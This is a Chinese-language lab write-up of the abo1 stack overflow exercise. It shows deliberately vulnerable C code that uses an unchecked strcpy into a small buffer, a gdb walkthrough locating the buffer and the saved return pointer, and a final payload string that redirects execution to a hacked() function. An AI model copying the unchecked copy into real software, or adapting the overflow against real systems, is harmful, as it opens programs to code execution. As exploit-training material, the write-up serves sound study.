1、实验环境:
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2、实验工具:
gdb
3、源码
首先看看abo1的源码:
/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
为了省事,稍微修改了一下:/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
#include <string.h>
#include <stdio.h>
int hacked(void)
{
printf("Congratulation! You have successed!\n");
return 0;
}
int main(int argv,char **argc) {
char buf[12];
strcpy(buf,argc[1]);
printf("Keep trying!\n");
return 0;
}
4、实验目的
通过构造字符串,实现栈溢出,从而执行函数hacked()。
5、编译:
二、调试
1、首先使用disas main查看汇编代码:
2、在地址0x804847b处发现函数strcpy,使用b指令设置断点:
3、输入字符串“abcdef”开始单步调试:
注意此时在0xffffcfcc处存储了main函数的返回地址0xf7e18637。
4、用c指令执行至0x804847a处
此时eax的值0xffffcfa4即为buf的栈地址。
5、继续单步执行至0x8048480处:
此时,已完成复制操作。
6、继续单步执行至0x804849b处:
此时ECX=[EBP-0x4]=0xffffcfd0。
7、运行至0x804849f处,此时esp通过ecx获取了新值,即0xffffcfcc,而0xffffcfcc处正好存放着返回地址。
8、小结
esp获得返回地址的栈地址的过程有些曲折,首先ecx=[ebp-0x4]=0xffffcfd0,然后,esp=[ecx-0x4]=0xffffcfcc,使用ecx作为了一个过渡。因此,我们需要修改[ebp-0x4]处的值,将此处的值改成我们需要跳转到的地址即可。
三、编写"shellcode"
'\x3b\x84\x04\x08'+'c'*12+'\x98\xcf\xff\xff'
